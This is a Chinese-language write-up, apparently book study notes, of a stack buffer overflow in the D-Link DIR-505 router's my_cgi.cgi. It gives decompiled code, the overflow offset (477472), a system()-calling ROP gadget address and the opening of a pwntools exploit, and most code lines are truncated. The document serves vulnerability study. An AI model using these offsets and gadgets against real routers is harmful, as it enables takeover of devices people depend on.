D-Link Dir-505 便携路由器越界漏洞分析
D-Link Dir-505 便携路由器越界漏洞分析
参考链接
《揭秘家用路由器0day漏洞挖掘技术》漏洞分析笔记(三) :: Cougar — Blog (c0ug4r.top)
固件下载&分离
MIPS/DIR505A1_FW108B10.bin at master · ray-cp/MIPS (github.com)
➜ binwalk -Me DIR505A1_FW108B10.bin |
➜ squashfs-root checksec ./usr/bin/my_cgi.cgi |
漏洞分析
IDA打开/usr/bin/my_cgi.cgi
, 搜索字符串storage_path
根据函数名,我们不妨看看get_input_entries
根据书上的结构及IDA反编译结果,我们可以创建如下结构体
00000000 entries struc # (sizeof=0x425, mappedto_17) |
从而对该函数进行分析
int __fastcall get_input_entries(entries *_parameters, int content_length) |
该函数看似是没有太大问题的,就是对POST中的参数进行格式化,但有一个问题是该函数没有大小限制,get_input_entries
格式化POST参数时依赖参数中的content_length
将HTTP中提供的POST参数中长度content-length
的数据都格式化到堆栈上的局部变量_parameters
中, 若content_lenth
长度大于buf
就可能造成溢出
查看交叉引用
可以定位到如下调用关系
entries my_entries[450]; |
从调用get_input_entries
函数附近的伪代码,可以看出,content_length
来自HTTP
协议的content-length
字段,而结构体my_entries
指向栈
,大小为450 * 0x425 = 477450 bytes
, 因此调用者和被调用者都没有对传入的数据进行长度限制,可以造成溢出
在这里,我们需要伪造storage_path=xx
, 使得函数不会调用replace_special_char()
或decode()
对参数进行解码
动态分析
确定偏移
➜ squashfs-root python3 patternLocOffset.py -c -l 600 -f offset |
调试脚本run_cgi.sh
# sudo ./run_cgi.sh |
这里需要注意的是:
CONTENT_TYPE
不能是multipart/form-data
在main函数前面有如下函数,如果
CONTENT_TYPE
为multipart/form-data
, 会直接return 0
```c
CONTENT_TYPE = getenv(“CONTENT_TYPE”);
……
if ( CONTENT_TYPE && strstr(CONTENT_TYPE, “multipart/form-data”) )
{....... goto LABEL_152; ...... goto LABEL_170;
}
LABEL_152:v41 = "back";
LABEL_170:
((void (__fastcall *)(const char *))v19)(v41); return 0;
- `SCRIPT_NAME`不能是`HNAP1`
- 在main函数前面有如下函数,如果`SCRIPT_NAME`为`HNAP1`, 会直接`return 0`
- ```c
SCRIPT_NAME_1 = getenv("SCRIPT_NAME");
if ( !SCRIPT_NAME_1 )
return 0;
if ( strstr(SCRIPT_NAME_1, "HNAP1") )
{
system("killall widgetd > /dev/null");
v4 = do_hnap();
if ( v4 == 1 )
{
save_entry_to_flash(HIBYTE(which_mode), 0);
write_lighttpd_404_redirect_info();
system("killall -SIGSYS lighttpd");
system("widgetd & > /dev/null");
}
else if ( v4 == 2 )
{
system("hnap_reboot &");
}
return 0;
}
调试起来后:
计算偏移
➜ squashfs-root python3 patternLocOffset.py -s 0x61374161 -l 600 |
则总偏移为padding = 477450 + 22 = 477472
ROP链构造
书上利用文件存在的system
函数进行构造,在函数窗口中进行搜索
查找交叉引用,在get_remote_mac + CC
处,找到如下指令
.text:00405B1C la $t9, system |
这里调用了system(command)
函数,且参数command
布置在$sp + 0x28
处即可
EXP
from pwn import * |
书里到这里就结束了,但在本地调试(非实机)的利用中发现,由于没有开启地址随机化,0x405B1C
会导致存在0x00
字节
exploit:
IDA调试: